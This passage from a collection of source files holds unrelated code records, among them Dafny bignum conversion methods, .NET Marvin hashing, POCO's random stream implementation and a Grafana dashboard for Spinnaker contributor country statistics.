\r\n#include \r\n\r\nnamespace br\r\n{\r\n\r\nBR_EXPORT QImage toQImage(const cv::Mat &mat);\r\n\r\n} // namespace br\r\n\r\n#endif // BR_GUI_UTILITY_H\r\n"} +{"text": ";***\n;memmove.asm -\n;\n; Copyright (c) Microsoft Corporation. All rights reserved.\n;\n;Purpose:\n; memmove() copies a source memory buffer to a destination buffer.\n; Overlapping buffers are treated specially, to avoid propogation.\n;\n; NOTE: This stub module scheme is compatible with NT build\n; procedure.\n;\n;*******************************************************************************\n\nMEM_MOVE EQU 1\nINCLUDE MEMCPY.ASM\n"} +{"text": "\n\n \n \n Aw22 Test.5.2.2 NA 01\n \n \n
    \n\n

    Aw22 Test.5.2.2 NA 01

    \n\n
    \n For each layout table (table tag) with a summary attribute, is the content of this attribute empty (summary=\")?\n
    \n\n
    \n
    \n\n
    No table tag found in the page. The test is not applicable
    \n
    \n \n"} +{"text": "
    \n ${statusMessage.author.realName.encodeAsHTML()} said\n ${statusMessage.message.encodeAsHTML()}
    \n
    at
    \n
    \n"} +{"text": "include \"FatNatCommon.i.dfy\"\r\ninclude \"../BigNum/BigNatCore.i.dfy\"\r\ninclude \"../BigNum/BigNumBEAdaptor.i.dfy\"\r\ninclude \"CanonicalArrays.i.dfy\"\r\n\r\ninclude \"FatInt.i.dfy\"\r\ninclude \"../BigNum/BigNum.i.dfy\"\r\n\r\nmethod BigNatToFatNat(B:BigNat) returns (F:array)\r\n requires WellformedBigNat(B);\r\n ensures F!=null && IsWordSeq(F[..]);\r\n ensures I(B) == BEWordSeqToInt(F[..]);\r\n ensures |B.words| == F.Length;\r\n ensures IsCanonicalDigitSeq(power2(32), F[..]);\r\n{\r\n F := new int[|B.words|];\r\n var i:=0;\r\n while (i<|B.words|)\r\n invariant 0<=i<=|B.words|;\r\n invariant forall j::0<=j F[j] == B.words[|B.words|-1-j];\r\n {\r\n F[i] := B.words[|B.words|-1-i];\r\n i := i + 1;\r\n }\r\n \r\n lemma_2toX();\r\n calc {\r\n I(B);\r\n { lemma_BigNatIIsLEDigitSeqToInt(B); }\r\n LEDigitSeqToInt(Width(), B.words);\r\n { lemma_Reverse_converts_endianness_inner(Width(), F[..], B.words); }\r\n BEDigitSeqToInt(Width(), F[..]);\r\n }\r\n}\r\n\r\nmethod FatNatToBigNat(F:array) returns (B:BigNat)\r\n requires F!=null && IsWordSeq(F[..]);\r\n ensures WellformedBigNat(B);\r\n ensures I(B) == BEWordSeqToInt(F[..]);\r\n ensures |B.words| <= F.Length;\r\n{\r\n lemma_2toX();\r\n\r\n var t := CountTopZeroWords(F);\r\n \r\n var lewords := ReverseDigitSeq(power2(32), F[t..]);\r\n lemma_Reverse(F[t..], lewords);\r\n if (|lewords|>0)\r\n {\r\n assert lewords[|lewords|-1] == F[t..][0] == F[t]; //- OBSERVE\r\n }\r\n B := BigNat_ctor(lewords);\r\n\r\n calc {\r\n I(B);\r\n { lemma_BigNatIIsLEDigitSeqToInt(B); }\r\n LEDigitSeqToInt(Width(), B.words);\r\n { lemma_Reverse_converts_endianness_inner(Width(), F[t..], lewords); }\r\n BEDigitSeqToInt(Width(), F[t..]);\r\n { lemma_LeadingZeros(power2(32), F[t..], F[..]); }\r\n BEDigitSeqToInt(Width(), F[..]);\r\n }\r\n}\r\n\r\nmethod FatIntToBigNum(F:FatInt) returns (B:BigNum)\r\n requires WellformedFatInt(F);\r\n ensures WellformedBigNum(B);\r\n ensures BV(B) == FIV(F);\r\n ensures |B.value.words| <= F.value.Length;\r\n{\r\n var bv := FatNatToBigNat(F.value);\r\n B := BigNum_ctor(F.negate, bv);\r\n}\r\n"} +{"text": "// Licensed to the .NET Foundation under one or more agreements.\n// The .NET Foundation licenses this file to you under the MIT license.\n\nusing System.Buffers;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Text.Unicode;\nusing Internal.Runtime.CompilerServices;\n\nnamespace System\n{\n internal static partial class Marvin\n {\n /// \n /// Compute a Marvin OrdinalIgnoreCase hash and collapse it into a 32-bit hash.\n /// n.b. is specified as char count, not byte count.\n /// \n public static int ComputeHash32OrdinalIgnoreCase(ref char data, int count, uint p0, uint p1)\n {\n uint ucount = (uint)count; // in chars\n nuint byteOffset = 0; // in bytes\n uint tempValue;\n\n // We operate on 32-bit integers (two chars) at a time.\n\n while (ucount >= 2)\n {\n tempValue = Unsafe.ReadUnaligned(ref Unsafe.As(ref Unsafe.AddByteOffset(ref data, byteOffset)));\n if (!Utf16Utility.AllCharsInUInt32AreAscii(tempValue))\n {\n goto NotAscii;\n }\n p0 += Utf16Utility.ConvertAllAsciiCharsInUInt32ToUppercase(tempValue);\n Block(ref p0, ref p1);\n\n byteOffset += 4;\n ucount -= 2;\n }\n\n // We have either one char (16 bits) or zero chars left over.\n Debug.Assert(ucount < 2);\n\n if (ucount > 0)\n {\n tempValue = Unsafe.AddByteOffset(ref data, byteOffset);\n if (tempValue > 0x7Fu)\n {\n goto NotAscii;\n }\n\n // addition is written with -0x80u to allow fall-through to next statement rather than jmp past it\n p0 += Utf16Utility.ConvertAllAsciiCharsInUInt32ToUppercase(tempValue) + (0x800000u - 0x80u);\n }\n p0 += 0x80u;\n\n Block(ref p0, ref p1);\n Block(ref p0, ref p1);\n\n return (int)(p1 ^ p0);\n\n NotAscii:\n Debug.Assert(ucount <= int.MaxValue); // this should fit into a signed int\n return ComputeHash32OrdinalIgnoreCaseSlow(ref Unsafe.AddByteOffset(ref data, byteOffset), (int)ucount, p0, p1);\n }\n\n private static int ComputeHash32OrdinalIgnoreCaseSlow(ref char data, int count, uint p0, uint p1)\n {\n Debug.Assert(count > 0);\n\n char[]? borrowedArr = null;\n Span scratch = (uint)count <= 64 ? stackalloc char[64] : (borrowedArr = ArrayPool.Shared.Rent(count));\n\n int charsWritten = System.Globalization.Ordinal.ToUpperOrdinal(new ReadOnlySpan(ref data, count), scratch);\n Debug.Assert(charsWritten == count); // invariant case conversion should involve simple folding; preserve code unit count\n\n // Slice the array to the size returned by ToUpperInvariant.\n // Multiplication below will not overflow since going from positive Int32 to UInt32.\n int hash = ComputeHash32(ref Unsafe.As(ref MemoryMarshal.GetReference(scratch)), (uint)charsWritten * 2, p0, p1);\n\n // Return the borrowed array if necessary.\n if (borrowedArr != null)\n {\n ArrayPool.Shared.Return(borrowedArr);\n }\n\n return hash;\n }\n }\n}\n"} +{"text": "//\n// RandomStream.cpp\n//\n// Library: Foundation\n// Package: Crypt\n// Module: RandomStream\n//\n// Copyright (c) 2004-2006, Applied Informatics Software Engineering GmbH.\n// and Contributors.\n//\n// SPDX-License-Identifier:\tBSL-1.0\n//\n\n\n#include \"Poco/RandomStream.h\"\n#include \"Poco/Random.h\"\n#include \"Poco/SHA1Engine.h\"\n#if defined(POCO_OS_FAMILY_WINDOWS)\n#include \"Poco/UnWindows.h\"\n#include \n#elif defined(POCO_OS_FAMILY_UNIX)\n#include \n#include \n#endif\n#include \n\n\nnamespace Poco {\n\n\nRandomBuf::RandomBuf(): BufferedStreamBuf(256, std::ios::in)\n{\n}\n\n\nRandomBuf::~RandomBuf()\n{\n}\n\n\nint RandomBuf::readFromDevice(char* buffer, std::streamsize length)\n{\n\tint n = 0;\n\n#if defined(POCO_OS_FAMILY_WINDOWS)\n\tHCRYPTPROV hProvider = 0;\n\tCryptAcquireContext(&hProvider, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);\n\tCryptGenRandom(hProvider, (DWORD) length, (BYTE*) buffer);\n\tCryptReleaseContext(hProvider, 0);\n\tn = static_cast(length);\n#else\n\t#if defined(POCO_OS_FAMILY_UNIX)\n\tint fd = open(\"/dev/urandom\", O_RDONLY, 0);\n\tif (fd >= 0) \n\t{\n\t\tn = read(fd, buffer, length);\n\t\tclose(fd);\n\t}\n\t#endif\n\tif (n <= 0)\n\t{\n\t\t// x is here as a source of randomness, so it does not make\n\t\t// much sense to protect it with a Mutex.\n\t\tstatic UInt32 x = 0;\n\t\tRandom rnd1(256);\n\t\tRandom rnd2(64);\n\t\tx += rnd1.next();\n \n\t\tn = 0;\n\t\tSHA1Engine engine;\n\t\tUInt32 t = (UInt32) std::time(NULL);\n\t\tengine.update(&t, sizeof(t));\n\t\tvoid* p = this;\n\t\tengine.update(&p, sizeof(p));\n\t\tengine.update(buffer, length);\n\t\tUInt32 junk[32];\n\t\tengine.update(junk, sizeof(junk));\n\t\twhile (n < length)\n\t\t{\n\t\t\tfor (int i = 0; i < 100; ++i)\n\t\t\t{\n\t\t\t\tUInt32 r = rnd2.next();\n\t\t\t\tengine.update(&r, sizeof(r));\n\t\t\t\tengine.update(&x, sizeof(x));\n\t\t\t\tx += rnd1.next();\n\t\t\t}\n\t\t\tDigestEngine::Digest d = engine.digest();\n\t\t\tfor (DigestEngine::Digest::const_iterator it = d.begin(); it != d.end() && n < length; ++it, ++n)\n\t\t\t{\n\t\t\t\tengine.update(*it);\n\t\t\t\t*buffer++ = *it;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\treturn n;\n}\n\n\nRandomIOS::RandomIOS()\n{\n\tpoco_ios_init(&_buf);\n}\n\n\nRandomIOS::~RandomIOS()\n{\n}\n\n\nRandomBuf* RandomIOS::rdbuf()\n{\n\treturn &_buf;\n}\n\n\nRandomInputStream::RandomInputStream(): std::istream(&_buf)\n{\n}\n\n\nRandomInputStream::~RandomInputStream()\n{\n}\n\n\n} // namespace Poco\n"} +{"text": "{\n \"annotations\": {\n \"list\": [\n {\n \"builtIn\": 1,\n \"datasource\": \"-- Grafana --\",\n \"enable\": true,\n \"hide\": true,\n \"iconColor\": \"rgba(0, 211, 255, 1)\",\n \"name\": \"Annotations \\u0026 Alerts\",\n \"type\": \"dashboard\"\n },\n {\n \"datasource\": \"psql\",\n \"enable\": true,\n \"hide\": false,\n \"iconColor\": \"rgba(255, 96, 96, 1)\",\n \"limit\": 100,\n \"name\": \"Releases\",\n \"query\": \"SELECT title, description from annotations WHERE $timeFilter order by time asc\",\n \"rawQuery\": \"select extract(epoch from time) AS time, title as text, description as tags from sannotations where $__timeFilter(time)\",\n \"showIn\": 0,\n \"tagsColumn\": \"title,description\",\n \"textColumn\": \"\",\n \"titleColumn\": \"[[full_name]] Release\",\n \"type\": \"alert\"\n }\n ]\n },\n \"editable\": true,\n \"gnetId\": null,\n \"graphTooltip\": 0,\n \"id\": 7,\n \"iteration\": 1539255053975,\n \"links\": [],\n \"panels\": [\n {\n \"aliasColors\": {},\n \"bars\": true,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"psql\",\n \"decimals\": null,\n \"description\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"fill\": 3,\n \"gridPos\": {\n \"h\": 21,\n \"w\": 24,\n \"x\": 0,\n \"y\": 0\n },\n \"id\": 2,\n \"legend\": {\n \"alignAsTable\": true,\n \"avg\": true,\n \"current\": true,\n \"max\": true,\n \"min\": true,\n \"rightSide\": true,\n \"show\": true,\n \"sort\": \"avg\",\n \"sortDesc\": true,\n \"total\": false,\n \"values\": true\n },\n \"lines\": false,\n \"linewidth\": 0,\n \"links\": [],\n \"nullPointMode\": \"null as zero\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": true,\n \"steppedLine\": true,\n \"targets\": [\n {\n \"alias\": \"\",\n \"dsType\": \"influxdb\",\n \"format\": \"time_series\",\n \"groupBy\": [],\n \"measurement\": \"notused\",\n \"orderByTime\": \"ASC\",\n \"policy\": \"default\",\n \"rawQuery\": true,\n \"rawSql\": \"select\\n time,\\n ${countries:csv}\\nfrom\\n s[[cum]]\\nwhere\\n $__timeFilter(time)\\n and period = '[[period]]'\\n and series = '[[cum]][[repogroup]][[metric]]'\\norder by\\n time\",\n \"refId\": \"A\",\n \"resultFormat\": \"time_series\",\n \"select\": [\n [\n {\n \"params\": [\n \"value\"\n ],\n \"type\": \"field\"\n }\n ]\n ],\n \"tags\": []\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeShift\": null,\n \"title\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 2,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"decimals\": null,\n \"format\": \"short\",\n \"label\": \"Value\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": \"\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"psql\",\n \"decimals\": null,\n \"description\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"fill\": 3,\n \"gridPos\": {\n \"h\": 21,\n \"w\": 24,\n \"x\": 0,\n \"y\": 21\n },\n \"id\": 4,\n \"legend\": {\n \"alignAsTable\": true,\n \"avg\": true,\n \"current\": true,\n \"max\": true,\n \"min\": true,\n \"rightSide\": true,\n \"show\": true,\n \"sort\": \"avg\",\n \"sortDesc\": true,\n \"total\": false,\n \"values\": true\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null as zero\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"alias\": \"\",\n \"dsType\": \"influxdb\",\n \"format\": \"time_series\",\n \"groupBy\": [],\n \"measurement\": \"notused\",\n \"orderByTime\": \"ASC\",\n \"policy\": \"default\",\n \"rawQuery\": true,\n \"rawSql\": \"select\\n time,\\n ${countries:csv}\\nfrom\\n s[[cum]]\\nwhere\\n $__timeFilter(time)\\n and period = '[[period]]'\\n and series = '[[cum]][[repogroup]][[metric]]'\\norder by\\n time\",\n \"refId\": \"A\",\n \"resultFormat\": \"time_series\",\n \"select\": [\n [\n {\n \"params\": [\n \"value\"\n ],\n \"type\": \"field\"\n }\n ]\n ],\n \"tags\": []\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeShift\": null,\n \"title\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 2,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"decimals\": null,\n \"format\": \"short\",\n \"label\": \"Value\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": \"\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": true,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"psql\",\n \"decimals\": null,\n \"description\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"fill\": 3,\n \"gridPos\": {\n \"h\": 21,\n \"w\": 24,\n \"x\": 0,\n \"y\": 42\n },\n \"id\": 3,\n \"legend\": {\n \"alignAsTable\": true,\n \"avg\": true,\n \"current\": true,\n \"max\": true,\n \"min\": true,\n \"rightSide\": true,\n \"show\": true,\n \"sort\": \"avg\",\n \"sortDesc\": true,\n \"total\": false,\n \"values\": true\n },\n \"lines\": false,\n \"linewidth\": 0,\n \"links\": [],\n \"nullPointMode\": \"null as zero\",\n \"percentage\": true,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": true,\n \"steppedLine\": true,\n \"targets\": [\n {\n \"alias\": \"\",\n \"dsType\": \"influxdb\",\n \"format\": \"time_series\",\n \"groupBy\": [],\n \"measurement\": \"notused\",\n \"orderByTime\": \"ASC\",\n \"policy\": \"default\",\n \"rawQuery\": true,\n \"rawSql\": \"select\\n time,\\n ${countries:csv}\\nfrom\\n s[[cum]]\\nwhere\\n $__timeFilter(time)\\n and period = '[[period]]'\\n and series = '[[cum]][[repogroup]][[metric]]'\\norder by\\n time\",\n \"refId\": \"A\",\n \"resultFormat\": \"time_series\",\n \"select\": [\n [\n {\n \"params\": [\n \"value\"\n ],\n \"type\": \"field\"\n }\n ]\n ],\n \"tags\": []\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeShift\": null,\n \"title\": \"[[full_name]] [[metric]] countries stats ([[repogroup_name]])\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 2,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"decimals\": null,\n \"format\": \"short\",\n \"label\": \"Value\",\n \"logBase\": 1,\n \"max\": \"100\",\n \"min\": \"0\",\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": \"\",\n \"logBase\": 1,\n \"max\": null,\n \"min\": \"0\",\n \"show\": true\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"content\": \"${docs:raw}\",\n \"gridPos\": {\n \"h\": 13,\n \"w\": 24,\n \"x\": 0,\n \"y\": 63\n },\n \"id\": 1,\n \"links\": [],\n \"mode\": \"html\",\n \"title\": \"Dashboard documentation\",\n \"type\": \"text\"\n }\n ],\n \"refresh\": false,\n \"schemaVersion\": 16,\n \"style\": \"dark\",\n \"tags\": [\n \"dashboard\",\n \"spinnaker\"\n ],\n \"templating\": {\n \"list\": [\n {\n \"allValue\": null,\n \"current\": {\n \"text\": \"Spinnaker\",\n \"value\": \"Spinnaker\"\n },\n \"datasource\": \"psql\",\n \"hide\": 2,\n \"includeAll\": false,\n \"label\": null,\n \"multi\": false,\n \"name\": \"full_name\",\n \"options\": [],\n \"query\": \"select value_s from gha_vars where name = 'full_name'\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": true,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": null,\n \"current\": {\n \"tags\": [],\n \"text\": \"Month\",\n \"value\": \"Month\"\n },\n \"datasource\": \"psql\",\n \"hide\": 0,\n \"includeAll\": false,\n \"label\": \"Period\",\n \"multi\": false,\n \"name\": \"period_name\",\n \"options\": [],\n \"query\": \"select split_part(cumperiod_name, '/', 2) from tcumperiods where cumperiod_name like '[[cum]]/%';\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": false,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": \"\",\n \"current\": {\n \"text\": \"All\",\n \"value\": \"$__all\"\n },\n \"datasource\": \"psql\",\n \"hide\": 0,\n \"includeAll\": true,\n \"label\": \"Countries\",\n \"multi\": true,\n \"name\": \"countries\",\n \"options\": [],\n \"query\": \"select '\\\"' || country_name || '\\\"' from tcountries order by time asc\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": false,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": null,\n \"current\": {\n \"text\": \"All\",\n \"value\": \"All\"\n },\n \"datasource\": \"psql\",\n \"hide\": 0,\n \"includeAll\": false,\n \"label\": \"Repository group\",\n \"multi\": false,\n \"name\": \"repogroup_name\",\n \"options\": [],\n \"query\": \"select all_repo_group_name from tall_repo_groups order by 1\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": false,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": null,\n \"current\": {\n \"text\": \"all\",\n \"value\": \"all\"\n },\n \"datasource\": \"psql\",\n \"hide\": 2,\n \"includeAll\": false,\n \"label\": \"\",\n \"multi\": false,\n \"name\": \"repogroup\",\n \"options\": [],\n \"query\": \"select all_repo_group_value from tall_repo_groups where all_repo_group_name = '[[repogroup_name]]'\",\n \"refresh\": 1,\n \"regex\": \"\",\n \"skipUrlSync\": true,\n \"sort\": 0,\n \"tagValuesQuery\": \"\",\n \"tags\": [],\n \"tagsQuery\": \"\",\n \"type\": \"query\",\n \"useTags\": false\n },\n {\n \"allValue\": null,\n \"current\": {\n \"selected\": true,\n \"tags\": [],\n \"text\": \"Committers\",\n \"value\": \"rcommitters\"\n },\n \"hide\": 0,\n \"includeAll\": false,\n \"label\": \"Metric\",\n \"multi\": false,\n \"name\": \"metric\",\n \"options\": [\n {\n \"selected\": false,\n \"text\": \"Contributions\",\n \"value\": \"contributions\"\n },\n {\n \"selected\": false,\n \"text\": \"Contributors\",\n \"value\": \"contributors\"\n },\n {\n \"selected\": false,\n \"text\": \"Users\",\n \"value\": \"users\"\n },\n {\n \"selected\": false,\n \"text\": \"Activity\",\n \"value\": \"events\"\n },\n {\n \"selected\": false,\n \"text\": \"Pushers\",\n \"value\": \"committers\"\n },\n {\n \"selected\": false,\n \"text\": \"Pushes\",\n \"value\": \"commits\"\n },\n {\n \"selected\": true,\n \"text\": \"Committers\",\n \"value\": \"rcommitters\"\n },\n {\n \"selected\": false,\n \"text\": \"Commits\",\n \"value\": \"rcommits\"\n },\n {\n \"selected\": false,\n \"text\": \"PR creators\",\n \"value\": \"prcreators\"\n },\n {\n \"selected\": false,\n \"text\": \"PRs\",\n \"value\": \"prs\"\n },\n {\n \"selected\": false,\n \"text\": \"Issue creators\",\n \"value\": \"issuecreators\"\n },\n {\n \"selected\": false,\n \"text\": \"Issues\",\n \"value\": \"issues\"\n },\n {\n \"selected\": false,\n \"text\": \"Commenters\",\n \"value\": \"commenters\"\n },\n {\n \"selected\": false,\n \"text\": \"Comments\",\n \"value\": \"comments\"\n },\n {\n \"selected\": false,\n \"text\": \"Reviewers\",\n \"value\": \"reviewers\"\n },\n {\n \"selected\": false,\n \"text\": \"Reviews\",\n \"value\": \"reviews\"\n },\n {\n \"selected\": false,\n \"text\": \"Watchers\",\n \"value\": \"watchers\"\n },\n {\n \"selected\": false,\n \"text\": \"Watches\",\n \"value\": \"watches\"\n },\n {\n \"selected\": false,\n \"text\": \"Forkers\",\n \"value\": \"forkers\"\n },\n {\n \"selected\": false,\n \"text\": \"Forks\",\n \"value\": \"forks\"\n }\n ],\n \"query\": \"contributions,contributors,users,events,committers,commits,rcommitters,rcommits,prcreators,prs,issuecreators,issues,commenters,comments,reviewers,reviews,watchers,watches,forkers,forks\",\n \"skipUrlSync\": false,\n \"type\": \"custom\"\n },\n {\n \"allValue\": null,\n \"current\": {\n \"selected\": true,\n \"text\": \"No\",\n \"value\": \"countries\"\n },\n \"hide\": 0,\n \"includeAll\": false,\n \"label\": \"Cumulative\",\n \"multi\": false,\n \"name\": \"cum\",\n \"options\": [\n {\n \"selected\": false,\n \"text\": \"Yes\",\n \"value\": \"countriescum\"\n },\n {\n \"selected\": true,\n \"text\": \"No\",\n \"value\": \"countries\"\n }\n ],\n \"query\": \"countries,countriescum\",\n \"skipUrlSync\": false,\n \"type\": \"custom\"\n },\n {\n \"allValue\": null,\n \"current\": {\n \"text\": \"\\u003ch1 id=\\\"dashboard-header\\\"\\u003eSpinnaker countries stats dashboard\\u003c/h1\\u003e\\n\\u003cp\\u003eLinks:\\u003c/p\\u003e\\n\\u003cul\\u003e\\n\\u003cli\\u003eMetric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/countries.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCumulative metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/countries_cum.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCommitters metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/committers_countries.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCommitters cumulative metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/committers_countries_cum.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eTSDB \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/metrics.yaml\\\" target=\\\"_blank\\\"\\u003eseries definition\\u003c/a\\u003e. Search for \\u003ccode\\u003ecountries\\u003c/code\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003eGrafana dashboard \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/grafana/dashboards/spinnaker/countries-stats.json\\\" target=\\\"_blank\\\"\\u003eJSON\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003c/ul\\u003e\\n\\u003ch1 id=\\\"description\\\"\\u003eDescription\\u003c/h1\\u003e\\n\\u003cul\\u003e\\n\\u003cli\\u003eThis dashboard shows countries statistics (cumulative and in given periods).\\u003c/li\\u003e\\n\\u003cli\\u003eContributor is defined as somebody who made a review, comment, commit, created PR or issue.\\u003c/li\\u003e\\n\\u003cli\\u003eContribution is a review, comment, commit, issue or PR.\\u003c/li\\u003e\\n\\u003cli\\u003eWe are determining contributor's country by using GitHub localization and searching for a country using \\u003ca href=\\\"http://www.geonames.org\\\" target=\\\"_blank\\\"\\u003egeonames\\u003c/a\\u003e database.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can select single repository group or summary statistics for all of them combined.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can choose to display contributors, contributions, users, actvity, committers, commits etc.\\u003c/li\\u003e\\n\\u003cli\\u003eYou can select cumulative statistics or statistics in given periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSelecting period (for example week) means that dashboard will show data in those periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSee \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/periods.md\\\" target=\\\"_blank\\\"\\u003ehere\\u003c/a\\u003e for more informations about periods.\\u003c/li\\u003e\\n\\u003cli\\u003eSee \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/repository_groups.md\\\" target=\\\"_blank\\\"\\u003ehere\\u003c/a\\u003e for more informations about repository groups.\\u003c/li\\u003e\\n\\u003cli\\u003eWe are skipping bots activity, see \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/docs/excluding_bots.md\\\" target=\\\"_blank\\\"\\u003eexcluding bots\\u003c/a\\u003e for details.\\u003c/li\\u003e\\n\\u003c/ul\\u003e\",\n \"value\": \"\\u003ch1 id=\\\"dashboard-header\\\"\\u003eSpinnaker countries stats dashboard\\u003c/h1\\u003e\\n\\u003cp\\u003eLinks:\\u003c/p\\u003e\\n\\u003cul\\u003e\\n\\u003cli\\u003eMetric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/countries.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCumulative metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/countries_cum.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCommitters metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/committers_countries.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eCommitters cumulative metric \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/committers_countries_cum.sql\\\" target=\\\"_blank\\\"\\u003eSQL file\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003cli\\u003eTSDB \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/metrics/shared/metrics.yaml\\\" target=\\\"_blank\\\"\\u003eseries definition\\u003c/a\\u003e. Search for \\u003ccode\\u003ecountries\\u003c/code\\u003e\\u003c/li\\u003e\\n\\u003cli\\u003eGrafana dashboard \\u003ca href=\\\"https://github.com/cncf/devstats/blob/master/grafana/dashboards/spinnaker/countries-stats.json\\\" target=\\\"_blank\\\"\\u003eJSON\\u003c/a\\u003e.\\u003c/li\\u003e\\n\\u003c/ul\\u003e\\n\\u003ch1 id=\\\"description\\\"\\u003eDescription\\u003c/h1\\u003e\\n\\u003cul\\u003e\\n\\u003cli\\u003eThis dashboard shows countries statistics (cumulative and in given periods).\\u003c/li\\u003e\\n\\u003cli\\u003eContributor is defined as somebody who made a review, comment, commit, created PR or issue.\\u003c/li\\u003e\\n\\u003cli\\u003eContribution is a review, comment, commit, issue or PR.\\u003c/li\\u003e\\n\\u003cli\\u003eWe are determining contributor's country by using GitHub localization and searching for a country using \\u003ca href=\\\"http://www.geonames.org\\\" 